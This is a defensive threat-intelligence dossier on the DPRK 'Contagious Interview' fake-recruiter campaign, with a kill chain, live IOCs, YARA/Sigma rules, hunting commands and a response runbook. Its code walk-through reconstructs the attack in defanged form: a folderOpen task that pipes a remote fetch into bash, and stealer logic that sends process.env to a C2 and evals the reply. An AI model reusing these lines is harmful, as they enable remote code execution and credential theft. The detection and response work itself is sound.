DPRK · Famous Chollima · MITRE ATT&CK G1052
A fake-recruiter developer-targeting operation delivering BeaverTail & InvisibleFerret, dissected for detection, response, and awareness.
One file, three strata. Summit is the one-screen executive read; Ridge adds attribution, the kill chain, and the malicious BOM; Foundation unlocks the detections, IR runbook, code walk-through, and the ARCS method layer. Descend to the depth you need, the whole atlas travels in this single, dependency-free page.
Bottom line up front, for the responder who has 90 seconds.
A developer was lured via a fake technical-interview "take-home" and cloned github.com/Cryptense-Eco/Jackpot. Opening the folder in a trusted editor, or running npm install, detonates a JavaScript stealer (BeaverTail) that harvests process.env and browser/wallet secrets, then pulls a Python backdoor (InvisibleFerret). If any developer touched this repo, treat their host as compromised: isolate it, rotate every credential it could reach, and hunt for outbound traffic to port 1224. Details and detections below.
One operation, many vendor names. Knowing the aliases lets you correlate reporting across tools.
Contagious Interview is a DPRK state-aligned campaign that MITRE tracks as group G1052. Its tradecraft overlaps with Lazarus, but many analysts track it as a distinct, financially motivated cluster (the one CrowdStrike calls Famous Chollima), separate from Lazarus's espionage and destructive operations. The strategic goal is theft of cryptocurrency and credentials to fund the regime. Treat the Lazarus lineage as an analytic judgment, not settled consensus.
| Alias | Attributing vendor / context |
|---|---|
| Contagious Interview | Palo Alto Unit 42 (campaign name) |
| Famous Chollima | CrowdStrike |
| DeceptiveDevelopment | ESET |
| DEV#POPPER | Securonix |
| Tenacious Pungsan | Datadog Security Labs |
| PurpleBravo / TAG-121 | Recorded Future / others |
| UNC5342 | Google / Mandiant |
| Gwisin Gang | Additional tracking (unconfirmed equivalence) |
Operators pose as recruiters or hiring managers on LinkedIn, X, or freelancing platforms, targeting software engineers, heavily in crypto / web3. The victim is walked through a plausible interview funnel and handed a "coding assessment," "debug this repo," or "demo app to review" task. Running that project is the payload. The lure exploits professional trust and time pressure ("we need this back before the next round"), which is why even security-aware developers execute the code.
Seven stages from LinkedIn message to interactive backdoor, mapped to MITRE ATT&CK techniques.
| Stage | Action | ATT&CK | Sev |
|---|---|---|---|
| 1 · Lure | Fake recruiter (richardstein692@gmail[.]com) contacts developer; fake interview funnel. | T1566.003 T1656 | Low |
| 2 · Delivery | Victim clones trojanized repo Cryptense-Eco/Jackpot (supply-chain / masquerade as legit assessment). | T1195.001 T1204.002 | Medium |
| 3 · Trigger | .vscode/tasks.json folderOpen task & package.json prepare hook auto-execute. | T1546 T1059.007 | Critical |
| 4 · Stage-1 (BeaverTail) | Obfuscated JS stealer runs; deobfuscates in memory; reads env + browser stores. | T1027 T1059.007 | Critical |
| 5 · C2 / RCE | Beacon to :1224/api/checkStatus; eval() of server response = live RCE. | T1071.001 T1105 · T1132 | Critical |
| 6 · Stage-2 (InvisibleFerret) | Second-stage loader vscode-check-mo4-ten.vercel[.]app delivers Python backdoor. | T1059.006 T1059.004 | Critical |
| 7 · Collect / Persist / Exfil | Browser creds & wallets, keylog, often AnyDesk for persistence; exfil over C2. | T1555.003 · T1217 T1041 · T1219 | Critical |
An inverted SBOM: instead of a bill of trusted components, a bill of the malicious ones, plus the reusable attack patterns each one represents, so detection generalizes beyond this single repo.
The "artifact" the victim receives is a bundle. Each component below is a distinct thing to detect, contain, and eradicate.
| Component | Type / ID | Role in the attack | Primary indicator |
|---|---|---|---|
| Cryptense-Eco/Jackpot | Trojanized Git repo | Delivery container; carries all triggers | repo + committer hiringtecjreview@ |
| BeaverTail | JS infostealer / downloader · ATT&CK S1246 | Stage 1: harvest env + wallets, pull stage 2 | obfuscated blob in routes/api/auth.js |
| InvisibleFerret | Python backdoor | Stage 2: RAT, keylog, deep theft, persistence | vercel[.]app /api/settings/{os} |
| folderOpen loader | VS Code task config | Zero-click trigger on project open | .vscode/tasks.json runOn: folderOpen |
| prepare hook | npm lifecycle script | Trigger on npm install | package.json scripts.prepare |
| C2 endpoint | HTTP command channel | RCE via eval(); exfil sink | 91.121.235[.]127 :1224 |
Infrastructure rotates; behavior persists. These are the abstracted, hunt-worthy patterns, write detections against these, not just the literal IOCs, and you catch the next repo too.
| Pattern | Where it hides | Why it's hostile | Generalized heuristic |
|---|---|---|---|
| PTV-01 Auto-run on open | .vscode/tasks.json | Executes before any human review; legitimate repos almost never ship a folderOpen shell task. | Flag any committed tasks.json with runOptions.runOn = "folderOpen" invoking a shell. |
| PTV-02 Lifecycle-hook exec | package.json scripts | preinstall/install/prepare/postinstall run automatically and are the #1 npm supply-chain vector. | Alert on install-time hooks that spawn node -e, curl, bash, or reference a remote URL. |
| PTV-03 Remote pipe-to-shell | Loader command | curl … | bash fetches attacker-chosen code at runtime, nothing malicious is stored on disk to scan. | Detect process trees where curl/wget output pipes directly into an interpreter. |
| PTV-04 Server-driven eval | Stealer JS | eval(response) turns a "status check" into interactive RCE; payload never appears in source. | Grep for eval(/Function( fed by fetch/http response bodies. |
| PTV-05 Env-var exfiltration | Stealer JS | process.env in dev machines holds cloud keys, tokens, DB creds, instant lateral reach. | Flag code serializing process.env / reading .env into an outbound request. |
| PTV-06 Payload appended to real file | routes/api/auth.js | Malice bolted onto a legitimate-looking route; diff hides in a plausible file. | Diff review: a single minified / high-entropy line in an otherwise readable source file. |
| PTV-07 Non-standard high port | C2 traffic | Port 1224 is a recurring Contagious-Interview signature across samples. | Alert on egress to :1224 and to freshly registered *.vercel.app API paths from dev hosts. |
Copy-ready indicators, YARA, and Sigma. IOCs here are in live (un-defanged) form for tooling, handle accordingly.
rule DPRK_ContagiousInterview_BeaverTail_JS { meta: author = "Defensive CTI" description = "BeaverTail JS stealer / loader. Contagious Interview (G1052)" reference = "MITRE S1246; ATT&CK G1052" tlp = "CLEAR" strings: // hard indicators (this campaign) $ip = "91.121.235.127" $port = ":1224" $path = "/api/checkStatus" $vercel = "vscode-check-mo4-ten.vercel.app" // behavioral (hunt-grade, not alert-grade) $b1 = "process.env" $b2 = /eval\s*\(\s*[a-zA-Z_$]/ // MetaMask + common wallet extension IDs $w1 = "nkbihfbeogaeaoehlefnkodbefgpgknn" $w2 = "ejbalbakoplchlghecdalmeeeajnimhm" condition: // pinned infra alerts; the behavioral branch is hunt-only (1 of ($ip,$port,$path,$vercel)) or ( $b1 and $b2 and 1 of ($w1,$w2) ) }
title: Contagious Interview C2 Beacon (port 1224) status: experimental logsource: category: network_connection detection: sel_ip: DestinationIp: '91.121.235.127' sel_port: DestinationPort: 1224 condition: sel_ip or sel_port falsepositives: - 'Rare; port 1224 is not a common service port' level: high tags: [attack.command_and_control, attack.t1071.001]
title: Dev-tool Spawns Remote Pipe-to-Shell (npm/VSCode) status: experimental logsource: category: process_creation detection: parent: ParentImage|endswith: ['\node','\npm','\Code.exe','/node','/Code'] child_shell: Image|endswith: ['\bash','\sh','\cmd.exe','\powershell.exe'] remote_fetch: CommandLine|contains|all: ['curl','|'] condition: parent and remote_fetch and child_shell falsepositives: - 'Legit postinstall scripts, tune to your build hosts' level: high tags: [attack.execution, attack.t1059, attack.t1546]
# Flag the trigger patterns before anyone opens the project. # Never `npm install` an untrusted repo to inspect it. grep -REn 'runOn.*folderOpen' .vscode/ 2>/dev/null grep -REn '"(pre|post)?(install|prepare)"' package.json grep -REn 'curl[^|]*\|[^|]*(bash|sh)\b' . grep -REn 'eval\(|child_process|process\.env' --include='*.js' . grep -REn ':1224|checkStatus' .
The pattern-threat-vectors of §03 are shipped as a read-only reference scanner (scan_repo.py, stdlib-only) that implements PTV-01…07 and never installs, executes, evals, or touches the network, so it is safe to run on an untrusted repo before you open or install it. It is packaged as the sbom-payload-scan skill and gated for CI.
# exit 2 = CRITICAL · 1 = HIGH/MEDIUM · 0 = clean python3 scan_repo.py <suspect-repo> --min-severity HIGH || echo "blocked"
The scanner covers the payload. The stage before it is the recruiter call that tries to get you to clone. Read a suspicious call on three axes, in the order the body actually reads them.
| Axis | Scam signal | Legit signal |
|---|---|---|
| Animacy (vox animus) soft, verify | Puppet-relay cluster: looped "can you hear me" after you clearly answered, off-script asides do not land, a second voice prompts from off-mic, no real yielding. Soft signals only, never a verdict. | Living turn-taking: overlaps, digresses, admits real-time knowledge gaps. |
| Provenance | Hidden: "not a contributor," vague company, buzzword product. | Offered up front: client named, checkable numbers, real identity. |
| Execution | Clone or open now, on the call. The tell within the tell: "you don't need to run it" (opening the folder is the trigger). | Asks you to run nothing. |
If a developer opened or installed the repo, work these in order. Assume full host compromise and secret theft until proven otherwise.
Network-isolate immediately (EDR containment or pull the cable). Keep it running to preserve memory and live C2 state for forensics. Do not log in with privileged accounts on the suspect host.
Block 91.121.235.127 (all ports, esp. 1224) and the stage-2 vercel[.]app host at the firewall/proxy. Add the IOCs to EDR/DNS blocklists org-wide, not just for the one host.
Assume process.env, .env files, cloud CLI tokens, SSH keys, browser-stored passwords, session cookies, and crypto-wallet seeds were exfiltrated. Rotate them all: cloud IAM keys, CI/CD tokens, npm/GitHub PATs, VPN, and any wallet the user held. Revoke active sessions.
Look for a Python process / InvisibleFerret modules, unexpected AnyDesk or other RMM installs (T1219), new startup/login items, cron/launchd/Run-key entries, and outbound connections to the C2. Pull EDR process tree back to node/Code as the parent.
Timeline from first clone. What did those rotated credentials access? Check cloud audit logs, GitHub org audit log, and repo access for anomalous activity in the exposure window. Identify any secrets that reached other systems (lateral movement).
Given in-memory eval() RCE and possible RAT, do not attempt surgical removal. Wipe and reimage the host from known-good media; restore data only after scanning. Reissue credentials to the reimaged host.
Preserve the repo, memory capture, and network logs as evidence. Notify security leadership; for U.S. orgs consider reporting to the FBI/IC3 (this is nation-state activity). Warn other engineers who may have received the same "recruiter" lure.
Ship the PTV heuristics (§03) into code review / CI. Set npm config set ignore-scripts true as an org default for untrusted installs, keep VS Code Workspace Trust enabled (it blocks folderOpen auto-run in untrusted folders), and brief engineers on the fake-interview lure. Only ever open unknown "assessment" repos in a disposable VM or container.
How the trigger chain works, at the level a developer needs to recognize it. Snippets below are sanitized, illustrative reconstructions of the documented technique, defanged and non-functional, not copied live payload.
A committed VS Code task set to runOn: folderOpen runs the moment the project opens, no command from the victim. In a legitimate repo you would essentially never ship this.
{
"version": "2.0.0",
"tasks": [{
"label": "Build",
"type": "shell",
// zero-click: fires on open, fetches + runs remote code
"command": "curl -s hxxps://vscode-check-…vercel[.]app/api/settings/$(uname) | bash",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "never" } // stays hidden
}]
}
Tells: runOn: folderOpen, reveal: never (hides the terminal), and a network fetch piped into a shell. Any one of these in a shared repo is a stop-work signal.
A prepare script runs on npm install (and on git-based installs). It's the same detonation for anyone who installs deps instead of opening the folder.
{
"name": "jackpot",
"scripts": {
"start": "node server.js",
// auto-runs on `npm install`, pulls stage 1
"prepare": "node ./routes/api/auth.js"
}
}
The real payload is bolted onto the end of a plausible file (routes/api/auth.js), usually a single high-entropy / minified line after normal, readable code. Deobfuscated, its logic is the behavior pattern to recognize:
// 1. package the machine's secrets const loot = { env: process.env, host: os.hostname() }; // 2. beacon to C2 and RUN whatever it sends back (RCE) const res = await post("hxxp://91.121.235[.]127:1224/api/checkStatus", loot); eval(res.body); // <-- server-controlled code execution // 3. pull stage 2 (InvisibleFerret, Python) download("hxxps://vscode-check-…vercel[.]app/api/settings/" + platform);
Tells: serializing process.env into an HTTP body (PTV-05), eval() on a response (PTV-04), and a second-stage download. The obfuscation exists only to slip eval/process.env past a skim, deobfuscation always lands here.
Everything above §07 is faithful inheritance of public reporting, good CTI, but reproducible by any analyst. This section is the part that is ours: it requires this decision corpus and cannot be written from public sources. Two instruments, run honestly.
Abstract the campaign away from malware and it is a five-move shape (its kinematic, the order in which things move): a spoofed-legitimate provenance (recruiter) delivers an artifact that auto-triggers before review (folderOpen / prepare), then executes untrusted remote output (eval of the C2 response) to drain the ambient secret substrate (process.env). The Orthogonal Echo Detector asks: where else in the logged corpus does this exact kinematic appear, at the opposite sign?
| Campaign move | Kinematic primitive | Echo in the ARCS corpus (real file) | Same object, opposite sign |
|---|---|---|---|
| eval(C2 response) | Execute untrusted remote output | Our standing rule: never execute what a parallel process hands you. Verify it in version control first, and exec-test everything. | The malware is what happens when you skip the verify; the ARCS rule makes the verify mandatory. Identical primitive, defense vs. exploit. |
| Recruiter / "assessment" lure | Spoofed legitimate provenance | Our attribution-forgery guard, the ventriloquy pathogen: a hostile payload smuggled under a trusted speaker's identity, caught by linting the speaker's provenance. | Attacker forges the speaker to smuggle a payload; ARCS lints the speaker coordinate precisely to catch that forgery. |
| folderOpen / prepare auto-run | Auto-trigger before deliberate review | Our gating rule: untracked shared state is advisory only, never auto-trusted, and any automatic trigger is held until explicitly armed. | The malware weaponizes automatic execution on a benign action; ARCS treats every auto-trigger as a thing that must be gated first. |
| process.env exfiltration | Tenant drains the sovereign substrate | Our sovereignty boundary, freehold vs. tenant: durable records are owned outright; the engines that hold env and run code are revocable tenants. | The malware is a tenant exfiltrating the freehold; ADR-072 is the lease that makes that boundary, and its violation, nameable. |
All four echoes collapse to a single invariant: provenance before execution. Contagious Interview is that one principle violated five ways; the ARCS decision corpus is the same principle defended, independently, in four unrelated domains (harness trust, attribution, shared-state gating, substrate sovereignty). The campaign and the corpus are the same kinematic object at opposite sign. That correspondence is not in any Unit 42 report, it is structurally unavailable without these decision records. It also yields a control: the same reflex that blocks a forged Hermes attestation blocks eval(C2), treat both as untrusted remote output, verify before execute.
The ledger grades every load-bearing claim in this dossier by evidentiary tier, so a reader sees exactly what rests on corroboration versus a single supplied source versus my own reasoning. A · Corroborated multiple independent public sources · B · Reported single-source (your incident brief), not independently verified, not detonated · C · Inference my analysis, not a source.
| Claim | Tier | Basis / reel-in risk |
|---|---|---|
| G1052 core attribution | A | MITRE, Unit 42, CrowdStrike, ESET, Datadog concur. Some alias equivalences (e.g. Gwisin Gang) are vendor-specific and less certain, flagged in §01. |
| BeaverTail = JS stealer + downloader (ATT&CK S1246) | A | MITRE S1246; Unit 42. |
| InvisibleFerret = Python second-stage backdoor | A | Unit 42; Microsoft. |
| Port 1224 is a recurring campaign signature | A | Public reporting notes :1224 across samples. |
| VS Code tasks.json / npm install-hook abuse as a technique | A | OpenSource Malware; general reporting on the campaign. |
| Specific IOCs: repo Cryptense-Eco/Jackpot, committer/recruiter emails, IP 91.121.235.127, the Vercel stage-2 host | B | Single-source: your brief. Not independently confirmed here, not detonated. If the brief is wrong, these are wrong, this is where reel-in risk concentrates. |
| Stage-to-ATT&CK technique mapping (§02) | C | My mapping. Standard, but an analytic choice, not a cited fact. |
| Malicious-BOM pattern-vectors & generalized heuristics (§03) | C | My synthesis; field-consistent (pyramid-of-pain logic), not novel. |
| Orthogonal-echo correspondence (§07-A) | C | My synthesis over real corpus files; the files are verified to exist, the reading is mine. |
| Scanner "validated" (§04) | B | Ran against an internal fixture pair (exit 2 on malicious, exit 0 on benign); not independently reproduced. |
| Call-stage animacy tell (§04) | C | My somatic read. A prompt to verify, not a verdict; false-positives on nervous, private, or non-native callers. Corroborated only by provenance + execution. |